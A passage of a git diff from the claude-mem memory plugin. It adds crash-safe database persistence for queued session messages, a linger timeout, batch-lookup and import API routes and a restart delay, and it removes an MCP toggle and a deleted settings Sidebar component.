tool: data.tool_name
}, error);
throw error; // Don't continue if we can't persist
}
// Add to in-memory queue (for backward compatibility with existing iterator)
session.pendingMessages.push(message);
const afterDepth = session.pendingMessages.length;
@@ -171,6 +207,9 @@ export class SessionManager {
/**
* Queue a summarize request (zero-latency notification)
* Auto-initializes session if not in memory but exists in database
*
* CRITICAL: Persists to database FIRST before adding to in-memory queue.
* This ensures summarize requests survive worker crashes.
*/
queueSummarize(sessionDbId: number, lastUserMessage: string, lastAssistantMessage?: string): void {
// Auto-initialize from database if needed (handles worker restarts)
@@ -181,11 +220,28 @@ export class SessionManager {
const beforeDepth = session.pendingMessages.length;
session.pendingMessages.push({
// CRITICAL: Persist to database FIRST
const message: PendingMessage = {
type: 'summarize',
last_user_message: lastUserMessage,
last_assistant_message: lastAssistantMessage
});
};
try {
const messageId = this.getPendingStore().enqueue(sessionDbId, session.claudeSessionId, message);
logger.debug('SESSION', `Summarize persisted to DB`, {
sessionId: sessionDbId,
messageId
});
} catch (error) {
logger.error('SESSION', 'Failed to persist summarize to DB', {
sessionId: sessionDbId
}, error);
throw error; // Don't continue if we can't persist
}
// Add to in-memory queue (for backward compatibility with existing iterator)
session.pendingMessages.push(message);
const afterDepth = session.pendingMessages.length;
@@ -306,8 +362,12 @@ export class SessionManager {
/**
* Get message iterator for SDKAgent to consume (event-driven, no polling)
* Auto-initializes session if not in memory but exists in database
*
* CRITICAL: Uses PendingMessageStore for crash-safe message persistence.
* Messages are marked as 'processing' when yielded and must be marked 'processed'
* by the SDK agent after successful completion.
*/
async *getMessageIterator(sessionDbId: number): AsyncIterableIterator<PendingMessage> {
async *getMessageIterator(sessionDbId: number): AsyncIterableIterator<PendingMessageWithId> {
// Auto-initialize from database if needed (handles worker restarts)
let session = this.sessions.get(sessionDbId);
if (!session) {
@@ -319,32 +379,100 @@ export class SessionManager {
throw new Error(`No emitter for session ${sessionDbId}`);
}
// Linger timeout: how long to wait for new messages before exiting
// This keeps the agent alive between messages, reducing "No active agent" windows
const LINGER_TIMEOUT_MS = 5000; // 5 seconds
while (!session.abortController.signal.aborted) {
// Wait for messages if queue is empty
if (session.pendingMessages.length === 0) {
await new Promise<void>(resolve => {
const handler = () => resolve();
emitter.once('message', handler);
// Check for pending messages in persistent store
const persistentMessage = this.getPendingStore().peekPending(sessionDbId);
if (!persistentMessage) {
// Wait for new messages with timeout
const gotMessage = await new Promise<boolean>(resolve => {
let resolved = false;
const messageHandler = () => {
if (!resolved) {
resolved = true;
clearTimeout(timeoutId);
resolve(true);
}
};
const timeoutHandler = () => {
if (!resolved) {
resolved = true;
emitter.off('message', messageHandler);
resolve(false);
}
};
const timeoutId = setTimeout(timeoutHandler, LINGER_TIMEOUT_MS);
emitter.once('message', messageHandler);
// Also listen for abort
session.abortController.signal.addEventListener('abort', () => {
emitter.off('message', handler);
resolve();
if (!resolved) {
resolved = true;
clearTimeout(timeoutId);
emitter.off('message', messageHandler);
resolve(false);
}
}, { once: true });
});
}
// Yield all pending messages
while (session.pendingMessages.length > 0) {
const message = session.pendingMessages.shift()!;
yield message;
// Re-check for messages after waking up (handles race condition)
const recheckMessage = this.getPendingStore().peekPending(sessionDbId);
if (recheckMessage) {
// Got a message, continue processing
continue;
}
// If we just yielded a summary, that's the end of this batch - stop the iterator
if (message.type === 'summarize') {
logger.info('SESSION', `Summary yielded - ending generator`, { sessionId: sessionDbId });
if (!gotMessage) {
// Timeout or abort - exit the loop
logger.info('SESSION', `Generator exiting after linger timeout`, { sessionId: sessionDbId });
return;
}
continue;
}
// Mark as processing BEFORE yielding (status: pending -> processing)
this.getPendingStore().markProcessing(persistentMessage.id);
// Track this message ID for completion marking
session.pendingProcessingIds.add(persistentMessage.id);
// Convert to PendingMessageWithId and yield
// Include original timestamp for accurate observation timestamps (survives stuck processing)
const message: PendingMessageWithId = {
_persistentId: persistentMessage.id,
_originalTimestamp: persistentMessage.created_at_epoch,
...this.getPendingStore().toPendingMessage(persistentMessage)
};
// Also add to in-memory queue for backward compatibility (status tracking)
session.pendingMessages.push(message);
yield message;
// Remove from in-memory queue after yielding
session.pendingMessages.shift();
// If we just yielded a summary, that's the end of this batch - stop the iterator
if (message.type === 'summarize') {
logger.info('SESSION', `Summary yielded - ending generator`, { sessionId: sessionDbId });
return;
}
}
}
/**
* Get the PendingMessageStore (for SDKAgent to mark messages as processed)
*/
getPendingMessageStore(): PendingMessageStore {
return this.getPendingStore();
}
}
@@ -40,6 +40,7 @@ export class DataRoutes extends BaseRouteHandler {
app.get('/api/observation/:id', this.handleGetObservationById.bind(this));
app.post('/api/observations/batch', this.handleGetObservationsByIds.bind(this));
app.get('/api/session/:id', this.handleGetSessionById.bind(this));
app.post('/api/sdk-sessions/batch', this.handleGetSdkSessionsByIds.bind(this));
app.get('/api/prompt/:id', this.handleGetPromptById.bind(this));
// Metadata endpoints
@@ -49,6 +50,9 @@ export class DataRoutes extends BaseRouteHandler {
// Processing status endpoints
app.get('/api/processing-status', this.handleGetProcessingStatus.bind(this));
app.post('/api/processing', this.handleSetProcessing.bind(this));
// Import endpoint
app.post('/api/import', this.handleImport.bind(this));
}
/**
@@ -146,6 +150,24 @@ export class DataRoutes extends BaseRouteHandler {
res.json(sessions[0]);
});
/**
* Get SDK sessions by SDK session IDs
* POST /api/sdk-sessions/batch
* Body: { sdkSessionIds: string[] }
*/
private handleGetSdkSessionsByIds = this.wrapHandler((req: Request, res: Response): void => {
const { sdkSessionIds } = req.body;
if (!Array.isArray(sdkSessionIds)) {
this.badRequest(res, 'sdkSessionIds must be an array');
return;
}
const store = this.dbManager.getSessionStore();
const sessions = store.getSdkSessionsBySessionIds(sdkSessionIds);
res.json(sessions);
});
/**
* Get user prompt by ID
* GET /api/prompt/:id
@@ -267,4 +289,79 @@ export class DataRoutes extends BaseRouteHandler {
return { offset, limit, project };
}
/**
* Import memories from export file
* POST /api/import
* Body: { sessions: [], summaries: [], observations: [], prompts: [] }
*/
private handleImport = this.wrapHandler((req: Request, res: Response): void => {
const { sessions, summaries, observations, prompts } = req.body;
const stats = {
sessionsImported: 0,
sessionsSkipped: 0,
summariesImported: 0,
summariesSkipped: 0,
observationsImported: 0,
observationsSkipped: 0,
promptsImported: 0,
promptsSkipped: 0
};
const store = this.dbManager.getSessionStore();
// Import sessions first (dependency for everything else)
if (Array.isArray(sessions)) {
for (const session of sessions) {
const result = store.importSdkSession(session);
if (result.imported) {
stats.sessionsImported++;
} else {
stats.sessionsSkipped++;
}
}
}
// Import summaries (depends on sessions)
if (Array.isArray(summaries)) {
for (const summary of summaries) {
const result = store.importSessionSummary(summary);
if (result.imported) {
stats.summariesImported++;
} else {
stats.summariesSkipped++;
}
}
}
// Import observations (depends on sessions)
if (Array.isArray(observations)) {
for (const obs of observations) {
const result = store.importObservation(obs);
if (result.imported) {
stats.observationsImported++;
} else {
stats.observationsSkipped++;
}
}
}
// Import prompts (depends on sessions)
if (Array.isArray(prompts)) {
for (const prompt of prompts) {
const result = store.importUserPrompt(prompt);
if (result.imported) {
stats.promptsImported++;
} else {
stats.promptsSkipped++;
}
}
}
res.json({
success: true,
stats
});
});
}
+1
View File
@@ -3,6 +3,7 @@ export const HOOK_TIMEOUTS = {
HEALTH_CHECK: 1000, // Worker health check (up from 500ms)
WORKER_STARTUP_WAIT: 1000,
WORKER_STARTUP_RETRIES: 15,
PRE_RESTART_SETTLE_DELAY: 2000, // Give files time to sync before restart
WINDOWS_MULTIPLIER: 1.5 // Platform-specific adjustment
} as const;
+4 -1
View File
@@ -131,6 +131,9 @@ async function ensureWorkerVersionMatches(): Promise<void> {
workerVersion
});
// Give files time to sync before restart
await new Promise(resolve => setTimeout(resolve, getTimeout(HOOK_TIMEOUTS.PRE_RESTART_SETTLE_DELAY)));
// Restart the worker
await ProcessManager.restart(getWorkerPort());
@@ -142,7 +145,7 @@ async function ensureWorkerVersionMatches(): Promise<void> {
logger.error('SYSTEM', 'Worker failed to restart after version mismatch', {
expectedVersion: pluginVersion,
runningVersion: workerVersion,
port
port: getWorkerPort()
});
}
}
@@ -195,11 +195,6 @@ export function ContextSettingsModal({
}: ContextSettingsModalProps) {
const [formState, setFormState] = useState<Settings>(settings);
// MCP toggle state
const [mcpEnabled, setMcpEnabled] = useState(true);
const [mcpToggling, setMcpToggling] = useState(false);
const [mcpStatus, setMcpStatus] = useState('');
// Create debounced save function
const debouncedSave = useCallback(
debounce((newSettings: Settings) => {
@@ -213,14 +208,6 @@ export function ContextSettingsModal({
setFormState(settings);
}, [settings]);
// Fetch MCP status on mount
useEffect(() => {
fetch('/api/mcp/status')
.then(res => res.json())
.then(data => setMcpEnabled(data.enabled))
.catch(error => console.error('Failed to load MCP status:', error));
}, []);
// Get context preview based on current form state
const { preview, isLoading, error, projects, selectedProject, setSelectedProject } = useContextPreview(formState);
@@ -254,36 +241,6 @@ export function ContextSettingsModal({
updateSetting(key, values.join(','));
}, [updateSetting]);
// Handle MCP toggle
const handleMcpToggle = async (enabled: boolean) => {
setMcpToggling(true);
setMcpStatus('Toggling...');
try {
const response = await fetch('/api/mcp/toggle', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ enabled })
});
const result = await response.json();
if (result.success) {
setMcpEnabled(result.enabled);
setMcpStatus('Updated (restart to apply)');
setTimeout(() => setMcpStatus(''), 3000);
} else {
setMcpStatus(`Error: ${result.error}`);
setTimeout(() => setMcpStatus(''), 3000);
}
} catch (err) {
setMcpStatus(`Error: ${err instanceof Error ? err.message : 'Unknown error'}`);
setTimeout(() => setMcpStatus(''), 3000);
} finally {
setMcpToggling(false);
}
};
// Handle ESC key
useEffect(() => {
const handleEsc = (e: KeyboardEvent) => {
@@ -521,14 +478,6 @@ export function ContextSettingsModal({
</FormField>
<div className="toggle-group" style={{ marginTop: '12px' }}>
<ToggleSwitch
id="mcp-enabled"
label="MCP search server"
description={mcpStatus || "Enable Model Context Protocol search"}
checked={mcpEnabled}
onChange={handleMcpToggle}
disabled={mcpToggling}
/>
<ToggleSwitch
id="show-last-summary"
label="Include last summary"
-428
View File
@@ -1,428 +0,0 @@
import React, { useState, useEffect } from 'react';
import { Settings, Stats } from '../types';
import { DEFAULT_SETTINGS } from '../constants/settings';
import { formatUptime, formatBytes } from '../utils/formatters';
interface SidebarProps {
isOpen: boolean;
settings: Settings;
stats: Stats;
isSaving: boolean;
saveStatus: string;
isConnected: boolean;
projects: string[];
currentFilter: string;
onFilterChange: (filter: string) => void;
onSave: (settings: Settings) => void;
onClose: () => void;
onRefreshStats: () => void;
}
export function Sidebar({ isOpen, settings, stats, isSaving, saveStatus, isConnected, projects, currentFilter, onFilterChange, onSave, onClose, onRefreshStats }: SidebarProps) {
// Consolidated settings form state
const [formState, setFormState] = useState<Settings>({
CLAUDE_MEM_MODEL: settings.CLAUDE_MEM_MODEL || DEFAULT_SETTINGS.CLAUDE_MEM_MODEL,
CLAUDE_MEM_CONTEXT_OBSERVATIONS: settings.CLAUDE_MEM_CONTEXT_OBSERVATIONS || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_OBSERVATIONS,
CLAUDE_MEM_WORKER_PORT: settings.CLAUDE_MEM_WORKER_PORT || DEFAULT_SETTINGS.CLAUDE_MEM_WORKER_PORT,
CLAUDE_MEM_WORKER_HOST: settings.CLAUDE_MEM_WORKER_HOST || DEFAULT_SETTINGS.CLAUDE_MEM_WORKER_HOST,
CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS: settings.CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS,
CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS: settings.CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS,
CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT: settings.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT,
CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT: settings.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT,
CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES: settings.CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES,
CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS: settings.CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS,
CLAUDE_MEM_CONTEXT_FULL_COUNT: settings.CLAUDE_MEM_CONTEXT_FULL_COUNT || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_FULL_COUNT,
CLAUDE_MEM_CONTEXT_FULL_FIELD: settings.CLAUDE_MEM_CONTEXT_FULL_FIELD || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_FULL_FIELD,
CLAUDE_MEM_CONTEXT_SESSION_COUNT: settings.CLAUDE_MEM_CONTEXT_SESSION_COUNT || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_SESSION_COUNT,
CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY: settings.CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY,
CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE: settings.CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE,
});
// MCP toggle state (separate from settings)
const [mcpEnabled, setMcpEnabled] = useState(true);
const [mcpToggling, setMcpToggling] = useState(false);
const [mcpStatus, setMcpStatus] = useState('');
// Helper to update form state
const updateFormState = (field: keyof Settings, value: string) => {
setFormState(prev => ({ ...prev, [field]: value }));
};
// Update settings form state when settings prop changes
useEffect(() => {
setFormState({
CLAUDE_MEM_MODEL: settings.CLAUDE_MEM_MODEL || DEFAULT_SETTINGS.CLAUDE_MEM_MODEL,
CLAUDE_MEM_CONTEXT_OBSERVATIONS: settings.CLAUDE_MEM_CONTEXT_OBSERVATIONS || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_OBSERVATIONS,
CLAUDE_MEM_WORKER_PORT: settings.CLAUDE_MEM_WORKER_PORT || DEFAULT_SETTINGS.CLAUDE_MEM_WORKER_PORT,
CLAUDE_MEM_WORKER_HOST: settings.CLAUDE_MEM_WORKER_HOST || DEFAULT_SETTINGS.CLAUDE_MEM_WORKER_HOST,
CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS: settings.CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS,
CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS: settings.CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS,
CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT: settings.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT,
CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT: settings.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT,
CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES: settings.CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES,
CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS: settings.CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS,
CLAUDE_MEM_CONTEXT_FULL_COUNT: settings.CLAUDE_MEM_CONTEXT_FULL_COUNT || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_FULL_COUNT,
CLAUDE_MEM_CONTEXT_FULL_FIELD: settings.CLAUDE_MEM_CONTEXT_FULL_FIELD || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_FULL_FIELD,
CLAUDE_MEM_CONTEXT_SESSION_COUNT: settings.CLAUDE_MEM_CONTEXT_SESSION_COUNT || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_SESSION_COUNT,
CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY: settings.CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY,
CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE: settings.CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE || DEFAULT_SETTINGS.CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE,
});
}, [settings]);
// Fetch MCP status on mount
useEffect(() => {
fetch('/api/mcp/status')
.then(res => res.json())
.then(data => setMcpEnabled(data.enabled))
.catch(error => console.error('Failed to load MCP status:', error));
}, []);
// Refresh stats when sidebar opens
useEffect(() => {
if (isOpen) {
onRefreshStats();
}
}, [isOpen, onRefreshStats]);
const handleSave = () => {
onSave(formState);
};
const handleMcpToggle = async (enabled: boolean) => {
setMcpToggling(true);
setMcpStatus('Toggling...');
try {
const response = await fetch('/api/mcp/toggle', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ enabled })
});
const result = await response.json();
if (result.success) {
setMcpEnabled(result.enabled);
setMcpStatus('✓ Updated (restart Claude Code to apply)');
setTimeout(() => setMcpStatus(''), 3000);
} else {
setMcpStatus(`✗ Error: ${result.error}`);
setTimeout(() => setMcpStatus(''), 3000);
}
} catch (error) {
setMcpStatus(`✗ Error: ${error instanceof Error ? error.message : 'Unknown error'}`);
setTimeout(() => setMcpStatus(''), 3000);
} finally {
setMcpToggling(false);
}
};
return (
<div className={`sidebar ${isOpen ? 'open' : ''}`}>
<div className="sidebar-header">
<h1>Settings</h1>
<div style={{ display: 'flex', gap: '8px', alignItems: 'center' }}>
<div style={{ display: 'flex', alignItems: 'center', gap: '6px' }}>
<span className={`status-dot ${isConnected ? 'connected' : ''}`} />
<span style={{ fontSize: '11px', opacity: 0.5, fontWeight: 300 }}>{isConnected ? 'Connected' : 'Disconnected'}</span>
</div>
<button onClick={handleSave} disabled={isSaving}>
{isSaving ? 'Saving...' : 'Save'}
</button>
<button
onClick={onClose}
title="Close settings"
style={{
background: 'transparent',
border: '1px solid #404040',
padding: '8px',
width: '36px',
height: '36px',
display: 'flex',
alignItems: 'center',
justifyContent: 'center'
}}
>
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round">
<line x1="18" y1="6" x2="6" y2="18"></line>
<line x1="6" y1="6" x2="18" y2="18"></line>
</svg>
</button>
</div>
</div>
<a
href="https://discord.gg/J4wttp9vDu"
target="_blank"
rel="noopener noreferrer"
className="sidebar-community-btn"
title="Join our Discord community"
>
<svg width="14" height="14" viewBox="0 0 24 24" fill="currentColor" style={{ marginRight: '6px' }}>
<path d="M20.317 4.37a19.791 19.791 0 0 0-4.885-1.515a.074.074 0 0 0-.079.037c-.21.375-.444.864-.608 1.25a18.27 18.27 0 0 0-5.487 0a12.64 12.64 0 0 0-.617-1.25a.077.077 0 0 0-.079-.037A19.736 19.736 0 0 0 3.677 4.37a.07.07 0 0 0-.032.027C.533 9.046-.32 13.58.099 18.057a.082.082 0 0 0 .031.057a19.9 19.9 0 0 0 5.993 3.03a.078.078 0 0 0 .084-.028a14.09 14.09 0 0 0 1.226-1.994a.076.076 0 0 0-.041-.106a13.107 13.107 0 0 1-1.872-.892a.077.077 0 0 1-.008-.128a10.2 10.2 0 0 0 .372-.292a.074.074 0 0 1 .077-.01c3.928 1.793 8.18 1.793 12.062 0a.074.074 0 0 1 .078.01c.12.098.246.198.373.292a.077.077 0 0 1-.006.127a12.299 12.299 0 0 1-1.873.892a.077.077 0 0 0-.041.107c.36.698.772 1.362 1.225 1.993a.076.076 0 0 0 .084.028a19.839 19.839 0 0 0 6.002-3.03a.077.077 0 0 0 .032-.054c.5-5.177-.838-9.674-3.549-13.66a.061.061 0 0 0-.031-.03zM8.02 15.33c-1.183 0-2.157-1.085-2.157-2.419c0-1.333.956-2.419 2.157-2.419c1.21 0 2.176 1.096 2.157 2.42c0 1.333-.956 2.418-2.157 2.418zm7.975 0c-1.183 0-2.157-1.085-2.157-2.419c0-1.333.955-2.419 2.157-2.419c1.21 0 2.176 1.096 2.157 2.42c0 1.333-.946 2.418-2.157 2.418z" />
</svg>
<span>Community</span>
</a>
<div className="sidebar-social-links">
<a
href="https://docs.claude-mem.ai"
target="_blank"
rel="noopener noreferrer"
title="Documentation"
className="icon-link"
>
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round">
<path d="M4 19.5A2.5 2.5 0 0 1 6.5 17H20"></path>
<path d="M6.5 2H20v20H6.5A2.5 2.5 0 0 1 4 19.5v-15A2.5 2.5 0 0 1 6.5 2z"></path>
</svg>
</a>
<a
href="https://github.com/thedotmack/claude-mem/"
target="_blank"
rel="noopener noreferrer"
title="GitHub"
className="icon-link"
>
<svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor">
<path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" />
</svg>
</a>
<a
href="https://x.com/Claude_Memory"
target="_blank"
rel="noopener noreferrer"
title="X (Twitter)"
className="icon-link"
>
<svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor">
<path d="M18.244 2.25h3.308l-7.227 8.26 8.502 11.24H16.17l-5.214-6.817L4.99 21.75H1.68l7.73-8.835L1.254 2.25H8.08l4.713 6.231zm-1.161 17.52h1.833L7.084 4.126H5.117z" />
</svg>
</a>
</div>
<div className="sidebar-project-filter">
<label htmlFor="sidebar-project-select">Filter by Project</label>
<select
id="sidebar-project-select"
value={currentFilter}
onChange={e => onFilterChange(e.target.value)}
>
<option value="">All Projects</option>
{projects.map(project => (
<option key={project} value={project}>{project}</option>
))}
</select>
</div>
<div className="stats-scroll">
<div className="settings-section">
<h3>Environment Variables</h3>
<div className="form-group">
<label htmlFor="model">CLAUDE_MEM_MODEL</label>
<div className="setting-description">
Model used for AI compression of tool observations. Haiku is fast and cheap, Sonnet offers better quality, Opus is most capable but expensive.
</div>
<select
id="model"
value={formState.CLAUDE_MEM_MODEL}
onChange={e => updateFormState('CLAUDE_MEM_MODEL', e.target.value)}
>
{/* Shorthand names forward to latest model version */}
<option value="haiku">haiku</option>
<option value="sonnet">sonnet</option>
<option value="opus">opus</option>
</select>
</div>
<div className="form-group">
<label htmlFor="contextObs">CLAUDE_MEM_CONTEXT_OBSERVATIONS</label>
<div className="setting-description">
Number of recent observations to inject at session start. Higher values provide more context but increase token usage. Default: 50
</div>
<input
type="number"
id="contextObs"
min="1"
max="200"
value={formState.CLAUDE_MEM_CONTEXT_OBSERVATIONS}
onChange={e => updateFormState('CLAUDE_MEM_CONTEXT_OBSERVATIONS', e.target.value)}
/>
</div>
<div className="form-group">
<label htmlFor="workerPort">CLAUDE_MEM_WORKER_PORT</label>
<div className="setting-description">
Port number for the background worker service. Change only if port 37777 conflicts with another service.
</div>
<input
type="number"
id="workerPort"
min="1024"
max="65535"
value={formState.CLAUDE_MEM_WORKER_PORT}
onChange={e => updateFormState('CLAUDE_MEM_WORKER_PORT', e.target.value)}
/>
</div>
<div className="form-group">
<label htmlFor="workerHost">CLAUDE_MEM_WORKER_HOST</label>
<div className="setting-description">
IP address to bind the worker service. Use 127.0.0.1 (default) for local-only access, or 0.0.0.0 for remote access on servers.
</div>
<input
type="text"
id="workerHost"
value={formState.CLAUDE_MEM_WORKER_HOST}
onChange={e => updateFormState('CLAUDE_MEM_WORKER_HOST', e.target.value)}
placeholder="127.0.0.1"
/>
</div>
{/* Token Economics Display */}
<div className="form-group">
<label>Token Economics Display</label>
<div className="setting-description">
Choose which token metrics to show in session start context.
</div>
<div style={{ display: 'flex', flexDirection: 'column', gap: '8px' }}>
<label style={{ display: 'flex', alignItems: 'center', gap: '8px', cursor: 'pointer' }}>
<input type="checkbox" checked={formState.CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS === 'true'} onChange={e => updateFormState('CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS', e.target.checked ? 'true' : 'false')} />
Show read tokens
</label>
<label style={{ display: 'flex', alignItems: 'center', gap: '8px', cursor: 'pointer' }}>
<input type="checkbox" checked={formState.CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS === 'true'} onChange={e => updateFormState('CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS', e.target.checked ? 'true' : 'false')} />
Show work tokens
</label>
<label style={{ display: 'flex', alignItems: 'center', gap: '8px', cursor: 'pointer' }}>
<input type="checkbox" checked={formState.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT === 'true'} onChange={e => updateFormState('CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT', e.target.checked ? 'true' : 'false')} />
Show savings amount
</label>
<label style={{ display: 'flex', alignItems: 'center', gap: '8px', cursor: 'pointer' }}>
<input type="checkbox" checked={formState.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT === 'true'} onChange={e => updateFormState('CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT', e.target.checked ? 'true' : 'false')} />
Show savings percentage
</label>
</div>
</div>
{/* Display Configuration */}
<div className="form-group">
<label>Display Configuration</label>
<div className="setting-description">
Control how observations are displayed in the timeline.
</div>
<div style={{ display: 'flex', flexDirection: 'column', gap: '12px', marginTop: '8px' }}>
<div>
<label htmlFor="fullCount" style={{ display: 'block', marginBottom: '4px', fontSize: '13px' }}>
Full observation count (0-20)
</label>
<input type="number" id="fullCount" min="0" max="20" value={formState.CLAUDE_MEM_CONTEXT_FULL_COUNT} onChange={e => updateFormState('CLAUDE_MEM_CONTEXT_FULL_COUNT', e.target.value)} style={{ width: '100%' }} />
<div style={{ fontSize: '12px', color: '#999', marginTop: '4px' }}>
Number of most recent observations to show with full details
</div>
</div>
<div>
<label htmlFor="fullField" style={{ display: 'block', marginBottom: '4px', fontSize: '13px' }}>
Full observation field
</label>
<select id="fullField" value={formState.CLAUDE_MEM_CONTEXT_FULL_FIELD} onChange={e => updateFormState('CLAUDE_MEM_CONTEXT_FULL_FIELD', e.target.value)} style={{ width: '100%' }}>
<option value="narrative">Narrative</option>
<option value="facts">Facts</option>
</select>
</div>
<div>
<label htmlFor="sessionCount" style={{ display: 'block', marginBottom: '4px', fontSize: '13px' }}>
Session summary count (1-50)
</label>
<input type="number" id="sessionCount" min="1" max="50" value={formState.CLAUDE_MEM_CONTEXT_SESSION_COUNT} onChange={e => updateFormState('CLAUDE_MEM_CONTEXT_SESSION_COUNT', e.target.value)} style={{ width: '100%' }} />
</div>
</div>
</div>
{/* Feature Toggles */}
<div className="form-group">
<label>Context Features</label>
<div className="setting-description">
Toggle additional features in session start context.
</div>
<div style={{ display: 'flex', flexDirection: 'column', gap: '8px' }}>
<label style={{ display: 'flex', alignItems: 'center', gap: '8px', cursor: 'pointer' }}>
<input type="checkbox" checked={formState.CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY === 'true'} onChange={e => updateFormState('CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY', e.target.checked ? 'true' : 'false')} />
Show last session summary
</label>
<label style={{ display: 'flex', alignItems: 'center', gap: '8px', cursor: 'pointer' }}>
<input type="checkbox" checked={formState.CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE === 'true'} onChange={e => updateFormState('CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE', e.target.checked ? 'true' : 'false')} />
Include last session message
</label>
</div>
</div>
{saveStatus && (
<div className="save-status">{saveStatus}</div>
)}
</div>
<div className="settings-section">
<h3>MCP Search Server</h3>
<div className="form-group">
<label htmlFor="mcpEnabled" style={{ display: 'flex', alignItems: 'center', gap: '8px', cursor: 'pointer' }}>
<input
type="checkbox"
id="mcpEnabled"
checked={mcpEnabled}
onChange={e => handleMcpToggle(e.target.checked)}
disabled={mcpToggling}
